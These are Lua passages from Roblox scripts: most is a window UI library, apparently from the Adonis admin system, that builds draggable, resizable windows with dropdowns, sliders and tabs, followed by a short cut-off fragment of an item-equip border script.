local class = data.Class or data.ClassName or class
local new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class)
local parent = data.Parent or new.Parent
if dataFound then
data.Parent = nil
if data.Class or data.ClassName then
data.Class = nil
data.ClassName = nil
end
if not data.BorderColor3 and checkProperty(new,"BorderColor3") then
new.BorderColor3 = dBorder
end
if not data.CanvasSize and checkProperty(new,"CanvasSize") then
new.CanvasSize = dCanvasSize
end
if not data.BorderSizePixel and checkProperty(new,"BorderSizePixel") then
new.BorderSizePixel = dPixelSize
end
if not data.BackgroundColor3 and checkProperty(new,"BackgroundColor3") then
new.BackgroundColor3 = dBackground
end
if not data.PlaceholderColor3 and checkProperty(new,"PlaceholderColor3") then
new.PlaceholderColor3 = dPlaceholderColor
end
if not data.Transparency and not data.BackgroundTransparency and checkProperty(new,"Transparency") then
new.BackgroundTransparency = dTransparency
elseif data.Transparency then
new.BackgroundTransparency = data.Transparency
end
if not data.TextColor3 and not data.TextColor and checkProperty(new,"TextColor3") then
new.TextColor3 = dTextColor
elseif data.TextColor then
new.TextColor3 = data.TextColor
end
if not data.Font and checkProperty(new, "Font") then
data.Font = dFont
end
if not data.TextSize and checkProperty(new, "TextSize") then
data.TextSize = dTextSize
end
if not data.BottomImage and not data.MidImage and not data.TopImage and class == "ScrollingFrame" then
new.BottomImage = dScrollImage
new.MidImage = dScrollImage
new.TopImage = dScrollImage
end
if not data.Size and checkProperty(new,"Size") then
new.Size = dSize
end
if not data.Position and checkProperty(new,"Position") then
new.Position = dPosition
end
if not data.ZIndex and checkProperty(new,"ZIndex") then
new.ZIndex = dZIndex
if parent and checkProperty(parent, "ZIndex") then
new.ZIndex = parent.ZIndex
end
end
if data.TextChanged and class == "TextBox" then
local textChanged = functionify(data.TextChanged, new)
new.FocusLost:connect(function(enterPressed)
textChanged(new.Text, enterPressed, new)
end)
end
if (data.OnClicked or data.OnClick) and class == "TextButton" then
local debounce = false;
local doDebounce = data.Debounce;
local onClick = functionify((data.OnClicked or data.OnClick), new)
new.MouseButton1Down:connect(function()
if not debounce then
if doDebounce then
debounce = true
end
onClick(new);
debounce = false;
end
end)
end
if data.Events then
for event,func in pairs(data.Events) do
local realFunc = functionify(func, new)
Event(new[event], function(...)
realFunc(...)
end)
end
end
if data.Visible == nil then
data.Visible = true
end
if data.LabelProps then
data.LabelProperties = data.LabelProps
end
end
if class == "Entry" then
local label = new.Text
local dots = new.Dots
local desc = new.Desc
label.ZIndex = data.ZIndex or new.ZIndex
dots.ZIndex = data.ZIndex or new.ZIndex
if data.Text then
new.Text.Text = data.Text
new.Text.Visible = true
data.Text = nil
end
if data.Desc or data.ToolTip then
new.Desc.Value = data.Desc or data.ToolTip
data.Desc = nil
end
Expand(new, Tooltip)
else
if data.ToolTip then
Expand(new, Tooltip, data.ToolTip)
end
end
if class == "ButtonEntry" then
local button = new.Button
local debounce = false
local onClicked = functionify(data.OnClicked, button)
new:SetSpecial("DoClick",function()
if not debounce then
debounce = true
if onClicked then
onClicked(button)
end
debounce = false
end
end)
new.Text = data.Text or new.Text
button.ZIndex = data.ZIndex or new.ZIndex
button.MouseButton1Down:connect(new.DoClick)
end
if class == "Boolean" then
local enabled = data.Enabled
local debounce = false
local onToggle = functionify(data.OnToggle, new)
local function toggle(isEnabled)
if not debounce then
debounce = true
if (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then
enabled = false
new.Text = "Disabled"
elseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then
enabled = true
new.Text = "Enabled"
end
if onToggle then
onToggle(enabled, new)
end
debounce = false
end
end
--new.ZIndex = data.ZIndex
new.Text = (enabled and "Enabled") or "Disabled"
new.MouseButton1Down:connect(function()
if onToggle then
toggle()
end
end)
new:SetSpecial("Toggle",function(ignore, isEnabled) toggle(isEnabled) end)
end
if class == "StringEntry" then
local box = new.Box
local ignore
new.Text = data.Text or new.Text
box.ZIndex = data.ZIndex or new.ZIndex
if data.BoxText then
box.Text = data.BoxText
end
if data.BoxProperties then
for i,v in next,data.BoxProperties do
if checkProperty(box, i) then
box[i] = v
end
end
end
if data.TextChanged then
local textChanged = functionify(data.TextChanged, box)
box.Changed:connect(function(p)
if p == "Text" and not ignore then
textChanged(box.Text)
end
end)
box.FocusLost:connect(function(enter)
local change = textChanged(box.Text, true, enter)
if change then
ignore = true
box.Text = change
ignore = false
end
end)
end
new:SetSpecial("SetValue",function(ignore, newValue) box.Text = newValue end)
end
if class == "Slider" then
local mouseIsIn = false
local posValue = new.Percentage
local slider = new.Slider
local bar = new.SliderBar
local drag = new.Drag
local moving = false
local value = 0
local onSlide = functionify(data.OnSlide, new)
bar.ZIndex = data.ZIndex or new.ZIndex
slider.ZIndex = bar.ZIndex+1
drag.ZIndex = slider.ZIndex+1
drag.Active = true
if data.Value then
slider.Position = UDim2.new(0.5, -10, 0.5, -10)
drag.Position = slider.Position
end
bar.InputBegan:connect(function(input)
if not moving and input.UserInputType == Enum.UserInputType.MouseButton1 then
value = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)
if value < 0 then
value = 0
elseif value > 1 then
value = 1
end
slider.Position = UDim2.new(value, -10, 0.5, -10)
drag.Position = slider.Position
posValue.Value = value
if onSlide then
onSlide(value)
end
end
end)
drag.DragBegin:connect(function()
moving = true
end)
drag.DragStopped:connect(function()
moving = false
drag.Position = slider.Position
end)
drag.Changed:connect(function()
if moving then
value = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)
if value < 0 then
value = 0
elseif value > 1 then
value = 1
end
slider.Position = UDim2.new(value, -10, 0.5, -10)
posValue.Value = value
if onSlide then
onSlide(value)
end
end
end)
new:SetSpecial("SetValue",function(ignore, newValue)
if newValue and tonumber(newValue) then
value = tonumber(newValue)
posValue.Value = value
slider.Position = UDim2.new(value, -10, 0.5, -10)
drag.Position = slider.Position
end
end)
end
if class == "Dropdown" then
local menu = new.Menu
local downImg = new.Down
local selected = new.dSelected
local options = data.Options
local curSelected = data.Selected or data.Selection
local onSelect = functionify(data.OnSelection or data.OnSelect or function()end)
local textProps = data.TextProperties
local scroller = create("ScrollingFrame", {
Parent = menu;
Size = UDim2.new(1, 0, 1, 0);
Position = UDim2.new(0, 0, 0, 0);
BackgroundTransparency = 1;
ZIndex = 100;
})
menu.ZIndex = scroller.ZIndex
menu.Parent = GUI
menu.Visible = false
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100);
menu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3
if data.TextAlignment then
selected.TextXAlignment = data.TextAlignment
selected.Position = UDim2.new(0, 30, 0, 0);
end
if data.NoArrow then
downImg.Visible = false
end
new:SetSpecial("MenuContainer", menu)
new.Changed:Connect(function(p)
if p == "AbsolutePosition" and menu.Visible then
menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)
elseif p == "AbsoluteSize" or p == "Parent" then
downImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0);
if data.TextAlignment == "Right" then
downImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2))
selected.Position = UDim2.new(0, new.AbsoluteSize.Y, 0, 0);
else
downImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2))
end
selected.Size = UDim2.new(1, -downImg.AbsoluteSize.X, 1, 0);
if options and #options <= 6 then
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*#options);
else
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*6);
scroller:ResizeCanvas(false, true);
end
end
end)
selected.ZIndex = new.ZIndex
downImg.ZIndex = new.ZIndex
if textProps then
for i,v in next,textProps do
selected[i] = v
end
end
if options then
for i,v in next,options do
local button = scroller:Add("TextButton", {
Text = " ".. tostring(v);
Size = UDim2.new(1, -10, 0, 30);
Position = UDim2.new(0, 5, 0, 30*(i-1));
ZIndex = menu.ZIndex;
BackgroundTransparency = 1;
OnClick = function()
selected.Text = v;
onSelect(v, new);
menu.Visible = false
end
})
if textProps then
for i,v in next,textProps do
button[i] = v
end
end
end
if curSelected then
selected.Text = curSelected
else
selected.Text = "No Selection"
end
selected.MouseButton1Down:Connect(function()
menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)
menu.Visible = not menu.Visible
end)
end
end
if class == "TabFrame" then
local buttons = create("ScrollingFrame", nil, new.Buttons)
local frames = new.Frames
local numTabs = 0
local buttonSize = data.ButtonSize or 60
new.BackgroundTransparency = data.BackgroundTransparency or 1
buttons.ZIndex = data.ZIndex or new.ZIndex
frames.ZIndex = buttons.ZIndex
new:SetSpecial("GetTab", function(ignore, name)
return frames:FindFirstChild(name)
end)
new:SetSpecial("NewTab", function(ignore, name, data)
local data = data or {}
--local numChildren = #frames:GetChildren()
local nextPos = getNextPos(buttons);
local textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize)
local oTextTrans = data.TextTransparency
local isOpen = false
local disabled = false
local tabFrame = create("ScrollingFrame",{
Name = name;
Size = UDim2.new(1, 0, 1, 0);
Position = UDim2.new(0, 0, 0, 0);
BorderSizePixel = 0;
BackgroundTransparency = data.FrameTransparency or data.Transparency;
BackgroundColor3 = data.Color or dBackground:lerp(Color3.new(1,1,1), 0.2);
ZIndex = buttons.ZIndex;
Visible = false;
})
local tabButton = create("TextButton",{
Name = name;
Text = data.Text or name;
Size = UDim2.new(0, textSize.X+20, 1, 0);
ZIndex = buttons.ZIndex;
Position = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0);
TextColor3 = data.TextColor;
BackgroundTransparency = 0.7;
TextTransparency = data.TextTransparency;
BackgroundColor3 = data.Color or dBackground:lerp(Color3.new(1,1,1), 0.2);
BorderSizePixel = 0;
})
tabFrame:SetSpecial("FocusTab",function()
for i,v in next,buttons:GetChildren() do if isGui(v) then v.BackgroundTransparency = 0.7 v.TextTransparency = 0.7 end end
for i,v in next,frames:GetChildren() do if isGui(v) then v.Visible = false end end
tabButton.BackgroundTransparency = data.Transparency or 0
tabButton.TextTransparency = data.TextTransparency or 0
tabFrame.Visible = true
if data.OnFocus then
data.OnFocus(true)
end
end)
if numTabs == 0 then
tabFrame.Visible = true
tabButton.BackgroundTransparency = data.Transparency or 0
end
tabButton.MouseButton1Down:connect(function()
if not disabled then
tabFrame:FocusTab()
end
end)
tabButton.Parent = buttons
tabFrame.Parent = frames
buttons:ResizeCanvas(true, false)
tabFrame:SetSpecial("Disable", function()
disabled = true;
tabButton.BackgroundTransparency = 0.9;
tabButton.TextTransparency = 0.9
end)
tabFrame:SetSpecial("Enable", function()
disabled = false;
tabButton.BackgroundTransparency = 0.7;
tabButton.TextTransparency = data.TextTransparency or 0;
end)
numTabs = numTabs+1;
return tabFrame,tabButton
end)
end
if class == "ScrollingFrame" then
local genning = false
if not data.ScrollBarThickness then
data.ScrollBarThickness = dScrollBar
end
new:SetSpecial("GenerateList", function(obj, list, labelProperties, bottom)
local list = list or obj;
local genHold = {}
local entProps = labelProperties or {}
genning = genHold
new:ClearAllChildren()
local num = 0
for i,v in next,list do
local text = v;
local desc;
local color
local richText;
if type(v) == "table" then
text = v.Text
desc = v.Desc
color = v.Color
if v.RichTextAllowed or entProps.RichTextAllowed then
richText = true
end
end
local label = create("TextLabel",{
Text = " "..tostring(text);
ToolTip = desc;
Size = UDim2.new(1,-5,0,(entProps.ySize or 20));
Visible = true;
BackgroundTransparency = 1;
Font = "Arial";
TextSize = 14;
TextStrokeTransparency = 0.8;
TextXAlignment = "Left";
Position = UDim2.new(0,0,0,num*(entProps.ySize or 20));
RichText = richText or false;
})
if color then
label.TextColor3 = color
end
if labelProperties then
for i,v in next,entProps do
if checkProperty(label, i) then
label[i] = v
end
end
end
if genning == genHold then
label.Parent = new;
else
label:Destroy()
break
end
num = num+1
if data.Delay then
if type(data.Delay) == "number" then
wait(data.Delay)
elseif i%100 == 0 then
wait(0.1)
end
end
end
new:ResizeCanvas(false, true, false, bottom, 5, 5, 50)
genning = nil
end)
new:SetSpecial("ResizeCanvas", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak)
local xPadding,yPadding = data.xPadding or 5, data.yPadding or 5
local newY, newX = 0,0
if not onX and not onY then onX = false onY = true end
for i,v in next,new:GetChildren() do
if v:IsA("GuiObject") then
if onY then
v.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y)
v.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y)
end
if onX then
v.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset)
v.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset)
end
local yLower = v.Position.Y.Offset + v.Size.Y.Offset
local xLower = v.Position.X.Offset + v.Size.X.Offset
newY = math.max(newY, yLower)
newX = math.max(newX, xLower)
if modBreak then
if i%modBreak == 0 then
wait(1/60)
end
end
end
end
if onY then
new.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding)
end
if onX then
new.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset)
end
if xMax then
new.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y)
end
if yMax then
new.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y)
end
end)
if data.List then new:GenerateList(data.List) data.List = nil end
end
LoadChildren(new, data.Content or data.Children)
data.Children = nil
data.Content = nil
for i,v in next,data do
if checkProperty(new, i) then
new[i] = v
end
end
new.Parent = parent
return apiIfy(new, data, class),data
end
function apiIfy(gui, data, class)
local newGui = service.Wrap(gui)
gui:SetSpecial("Object", gui)
gui:SetSpecial("SetPosition", function(ignore, newPos) gui.Position = newPos end)
gui:SetSpecial("SetSize", function(ingore, newSize) gui.Size = newSize end)
gui:SetSpecial("Add", function(ignore, class, data)
if not data then data = class class = ignore end
local new = create(class,data);
new.Parent = gui;
return apiIfy(new, data, class)
end)
gui:SetSpecial("Copy", function(ignore, class, gotData)
local newData = {}
local new
for i,v in next,data do
newData[i] = v
end
for i,v in next,gotData do
newData[i] = v
end
new = create(class or data.Class or gui.ClassName, newData);
new.Parent = gotData.Parent or gui.Parent;
return apiIfy(new, data, class)
end)
return newGui
end
function doClose()
if not isClosed then
isClosed = true
gTable:Destroy()
end
end
function isVisible()
return Main.Visible
end
function doHide(doHide)
local origLH = Hide.LineHeight
if doHide or (doHide == nil and Main.Visible) then
dragSize = Drag.Size
Main.Visible = false
Drag.BackgroundTransparency = Main.BackgroundTransparency
Drag.BackgroundColor3 = Main.BackgroundColor3
Drag.Size = UDim2.new(0, 200, Drag.Size.Y.Scale, Drag.Size.Y.Offset)
Hide.Text = "+"
Hide.LineHeight = origLH
gTable.Minimized = true
elseif doHide == false or (doHide == nil and not Main.Visible) then
Main.Visible = true
Drag.BackgroundTransparency = 1
Drag.Size = dragSize or Drag.Size
Hide.Text = "-"
Hide.LineHeight = origLH
gTable.Minimized = false
end
if onMinimize then
onMinimize(Main.Visible)
end
if Walls then
wallPosition()
end
end
function isInFrame(x, y, frame)
if x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then
return true
else
return false
end
end
function wallPosition()
if gTable.Active then
local x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y
local abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y
local ySize = (Main.Visible and Main.AbsoluteSize.Y) or Drag.AbsoluteSize.Y
if x < 0 then
Drag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset)
end
if y < 0 then
Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0)
end
if x + abx > gx then
Drag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset)
end
if y + ySize > gy then
Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize)
end
end
end
function setSize(newSize)
if newSize and type(newSize) == "table" then
if newSize[1] < 50 then newSize[1] = 50 end
if newSize[2] < 50 then newSize[2] = 50 end
Drag.Size = UDim2.new(0,newSize[1],0,25)
Main.Size = UDim2.new(1,0,0,newSize[2])
end
end
function setPosition(newPos)
if newPos and typeof(newPos) == "UDim2" then
Drag.Position = newPos
elseif newPos and type(newPos) == "table" then
Drag.Position = UDim2.new(0, newPos[1], 0, newPos[2])
elseif Size and not newPos then
Drag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2)
end
end
if Name then
gTable.Name = Name
if data.AllowMultiple ~= nil and data.AllowMultiple == false then
local found, num = client.UI.Get(Name, GUI, true)
if found then
doClose()
return nil
end
end
end
if Size then
setSize(Size)
end
if Position then
setPosition(Position)
end
if Title then
Titlef.Text = Title
end
if CanKeepAlive or not ResetOnSpawn then
gTable.CanKeepAlive = true
GUI.ResetOnSpawn = false
elseif ResetOnSpawn then
gTable.CanKeepAlive = false
GUI.ResetOnSpawn = true
end
if Icon then
Iconf.Visible = true
Iconf.Image = Icon
end
if CanvasSize then
ScrollFrame.CanvasSize = CanvasSize
end
if noClose then
Close.Visible = false
Refresh.Position = Hide.Position
Hide.Position = Close.Position
end
if noHide then
Hide.Visible = false
Refresh.Position = Hide.Position
end
if Walls then
Drag.DragStopped:connect(function()
wallPosition()
end)
end
if onRefresh then
local debounce = false
function DoRefresh()
if not Refreshing then
local done = false
Refreshing = true
spawn(function()
while gTable.Active and not done do
for i = 0,180,10 do
rSpinner.Rotation = -i
wait(1/60)
end
end
end)
onRefresh()
wait(1)
done = true
Refreshing = false
end
end
Refresh.MouseButton1Down:connect(function()
if not debounce then
debounce = true
DoRefresh()
debounce = false
end
end)
Titlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset)
else
Refresh.Visible = false
end
if iconClicked then
Iconf.MouseButton1Down(function()
iconClicked(data, GUI, Iconf)
end)
end
if Menu then
data.Menu.Text = ""
data.Menu.Parent = Main
data.Menu.Size = UDim2.new(1,-10,0,25)
data.Menu.Position = UDim2.new(0,5,0,25)
ScrollFrame.Size = UDim2.new(1,-10,1,-55)
ScrollFrame.Position = UDim2.new(0,5,0,50)
data.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216)
data.Menu.BorderSizePixel = 0
create("TextLabel",data.Menu)
end
if not SizeLocked then
local startXPos = Drag.AbsolutePosition.X
local startYPos = Drag.AbsolutePosition.Y
local startXSize = Drag.AbsoluteSize.X
local startYSize = Drag.AbsoluteSize.Y
local vars = client.Variables
local newIcon
local inFrame
local ReallyInFrame
local function readify(obj)
obj.MouseEnter:connect(function()
ReallyInFrame = obj
end)
obj.MouseLeave:connect(function()
if ReallyInFrame == obj then
ReallyInFrame = nil
end
end)
end
--[[
readify(Drag)
readify(ScrollFrame)
readify(TopRight)
readify(TopLeft)
readify(RightCorner)
readify(LeftCorner)
readify(RightSide)
readify(LeftSide)
readify(Bottom)
readify(Top)
--]]
function checkMouse(x, y) --// Update later to remove frame by frame pos checking
if gTable.Active and Main.Visible then
if isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then
inFrame = nil
newIcon = nil
elseif isInFrame(x, y, TopRight) then
inFrame = "TopRight"
newIcon = MouseIcons.TopRight
elseif isInFrame(x, y, TopLeft) then
inFrame = "TopLeft"
newIcon = MouseIcons.TopLeft
elseif isInFrame(x, y, RightCorner) then
inFrame = "RightCorner"
newIcon = MouseIcons.RightCorner
elseif isInFrame(x, y, LeftCorner) then
inFrame = "LeftCorner"
newIcon = MouseIcons.LeftCorner
elseif isInFrame(x, y, RightSide) then
inFrame = "RightSide"
newIcon = MouseIcons.Horizontal
elseif isInFrame(x, y, LeftSide) then
inFrame = "LeftSide"
newIcon = MouseIcons.Horizontal
elseif isInFrame(x, y, Bottom) then
inFrame = "Bottom"
newIcon = MouseIcons.Vertical
elseif isInFrame(x, y, Top) then
inFrame = "Top"
newIcon = MouseIcons.Vertical
else
inFrame = nil
newIcon = nil
end
else
inFrame = nil
end
if (not client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then
if inFrame and newIcon then
Mouse.Icon = newIcon
client.Variables.MouseLockedBy = gTable
elseif client.Variables.MouseLockedBy == gTable then
Mouse.Icon = curIcon
client.Variables.MouseLockedBy = nil
end
end
end
local function inputStart(x, y)
checkMouse(x, y)
if gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then
Resizing = inFrame
startXPos = Drag.AbsolutePosition.X
startYPos = Drag.AbsolutePosition.Y
startXSize = Drag.AbsoluteSize.X
startYSize = Main.AbsoluteSize.Y
end
end
local function inputEnd()
if gTable.Active then
if Resizing and onResize then
onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))
end
Resizing = nil
Mouse.Icon = curIcon
--DragEnabled = true
--if Walls then
-- wallPosition()
--end
end
end
local function inputMoved(x, y)
if gTable.Active then
if Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then
curIcon = Mouse.Icon
end
if Resizing then
local moveX = false
local moveY = false
local newPos = Drag.Position
local xPos, yPos = x, y
local newX, newY = startXSize, startYSize
--DragEnabled = false
if Resizing == "TopRight" then
newX = (xPos - startXPos) + 3
newY = (startYPos - yPos) + startYSize -1
moveY = true
elseif Resizing == "TopLeft" then
newX = (startXPos - xPos) + startXSize -1
newY = (startYPos - yPos) + startYSize -1
moveY = true
moveX = true
elseif Resizing == "RightCorner" then
newX = (xPos - startXPos) + 3
newY = (yPos - startYPos) + 3
elseif Resizing == "LeftCorner" then
newX = (startXPos - xPos) + startXSize + 3
newY = (yPos - startYPos) + 3
moveX = true
elseif Resizing == "LeftSide" then
newX = (startXPos - xPos) + startXSize + 3
newY = startYSize
moveX = true
elseif Resizing == "RightSide" then
newX = (xPos - startXPos) + 3
newY = startYSize
elseif Resizing == "Bottom" then
newX = startXSize
newY = (yPos - startYPos) + 3
elseif Resizing == "Top" then
newX = startXSize
newY = (startYPos - yPos) + startYSize - 1
moveY = true
end
if newX < MinSize[1] then newX = MinSize[1] end
if newY < MinSize[2] then newY = MinSize[2] end
if newX > MaxSize[1] then newX = MaxSize[1] end
if newY > MaxSize[2] then newY = MaxSize[2] end
if moveX then
newPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset)
end
if moveY then
newPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY)
end
Drag.Position = newPos
Drag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset)
Main.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY)
if not Titlef.TextFits then
Titlef.Visible = false
else
Titlef.Visible = true
end
else
checkMouse(x, y)
end
end
end
Event(InputService.InputBegan, function(input, gameHandled)
if not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
inputStart(Mouse.X, Mouse.Y)
end
end)
Event(InputService.InputChanged, function(input, gameHandled)
if (input.UserInputType == Enum.UserInputType.MouseMovement or Enum.UserInputType.Touch) then
inputMoved(input.Position.X, input.Position.Y)
end
end)
Event(InputService.InputEnded, function(input, gameHandled)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or Enum.UserInputType.Touch) then
inputEnd()
end
end)
--[[Event(Mouse.Button1Down, function()
if gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then
Resizing = inFrame
startXPos = Drag.AbsolutePosition.X
startYPos = Drag.AbsolutePosition.Y
startXSize = Drag.AbsoluteSize.X
startYSize = Main.AbsoluteSize.Y
checkMouse()
end
end)
Event(Mouse.Button1Up, function()
if gTable.Active then
if Resizing and onResize then
onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))
end
Resizing = nil
Mouse.Icon = curIcon
--if Walls then
-- wallPosition()
--end
end
end)--]]
else
LeftSizeIcon.Visible = false
RightSizeIcon.Visible = false
end
Close.MouseButton1Down:connect(doClose)
Hide.MouseButton1Down:connect(function() doHide() end)
gTable.CustomDestroy = function()
service.UnWrap(GUI):Destroy()
if client.Variables.MouseLockedBy == gTable then
Mouse.Icon = curIcon
client.Variables.MouseLockedBy = nil
end
if not isClosed then
isClosed = true
if onClose then
onClose()
end
end
end
for i,child in next,GUI:GetChildren() do
if child.Name ~= "Desc" and child.Name ~= "Drag" then
specialInsts[child.Name] = child
child.Parent = nil
end
end
--// Drag & DisplayOrder Handler
do
local windowValue = Instance.new("BoolValue", GUI)
local dragDragging = false
local dragOffset
local inFrame
windowValue.Name = "__ADONIS_WINDOW"
Event(Main.InputBegan, function(input)
if gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
BringToFront()
end
end)
Event(Drag.InputBegan, function(input)
if gTable.Active then
inFrame = true
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
BringToFront()
end
end
end)
Event(Drag.InputChanged, function(input)
if gTable.Active then
inFrame = true
end
end)
Event(Drag.InputEnded, function(input)
inFrame = false
end)
Event(InputService.InputBegan, function(input)
if inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then
dragDragging = true
BringToFront()
dragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y)
end
end)
Event(InputService.InputChanged, function(input)
if dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
Drag.Position = UDim2.new(0, dragOffset.X + input.Position.X, 0, dragOffset.Y + input.Position.Y)
end
end)
Event(InputService.InputEnded, function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragDragging = false
end
end)
end
--// Finishing up
local api = apiIfy(ScrollFrame, data)
local meta = api:GetMetatable()
local oldNewIndex = meta.__newindex
local oldIndex = meta.__index
create("ScrollingFrame", nil, ScrollFrame)
LoadChildren(api, Content)
api:SetSpecial("gTable", gTable)
api:SetSpecial("Window", GUI)
api:SetSpecial("Main", Main)
api:SetSpecial("Title", Titlef)
api:SetSpecial("Dragger", Drag)
api:SetSpecial("Destroy", doClose)
api:SetSpecial("Close", doClose)
api:SetSpecial("Object", ScrollFrame)
api:SetSpecial("Refresh", DoRefresh)
api:SetSpecial("AddTitleButton", function(ignore, data) if type(ignore) == "table" and not data then data = ignore end return addTitleButton(data) end)
api:SetSpecial("Ready", function() if onReady then onReady() end gTable.Ready() BringToFront() end)
api:SetSpecial("BindEvent", function(ignore, ...) Event(...) end)
api:SetSpecial("Hide", function(ignore, hide) doHide(hide) end)
api:SetSpecial("SetTitle", function(ignore, newTitle) Titlef.Text = newTitle end)
api:SetSpecial("SetPosition", function(ignore, newPos) setPosition(newPos) end)
api:SetSpecial("SetSize", function(ignore, newSize) setSize(newSize) end)
api:SetSpecial("GetPosition", function() return Drag.AbsolutePosition end)
api:SetSpecial("GetSize", function() return Main.AbsoluteSize end)
api:SetSpecial("IsVisible", isVisible)
api:SetSpecial("IsClosed", isClosed)
meta.__index = function(tab, ind)
if ind == "IsVisible" then
return isVisible()
elseif ind == "Closed" then
return isClosed
else
return oldIndex(tab, ind)
end
end
setSize(Size)
setPosition(Position)
if Ready then
gTable:Ready()
BringToFront()
end
return api,GUI
end
|
-- Go through each setting value |
for _, i in pairs(settingVals) do
-- Make sure not nil
if i ~= nil then
-- Connect changed event
i.Changed:connect(function()
-- Set border to be on if this item
if i.Value == itemName and script.Parent.Parent.Player.Value == plr and script.Parent.ItemType.Value ~= "Emote" and itemName ~= "" then
-- Turn on border
script.Parent.GreenEdge.Visible = true
else
-- Check if equip nothing as toy button
if itemName == "" and script.Parent.ItemType.Value == "Toy" then
-- Check if equipped anywhere
local equipped = false
for _, o in pairs(settingVals) do
if o.Value ~= "" then
equipped = true
break
end
end
-- Only turn on border if nothing equipped
if equipped then
script.Parent.GreenEdge.Visible = false
else
script.Parent.GreenEdge.Visible = true
end
else
-- Check if equipped anywhere
local equipped = false
for _, o in pairs(settingVals) do
if o.Value == itemName then
equipped = true
break
end
end
-- Set border accordingly
if not equipped then
script.Parent.GreenEdge.Visible = false
else
script.Parent.GreenEdge.Visible = true
end
end
end
end)
-- Set up
if i.Value == itemName and script.Parent.Parent.Player.Value == plr and script.Parent.ItemType.Value ~= "Emote" and (script.Parent.ItemType.Value ~= "Toy" or itemName ~= "") then
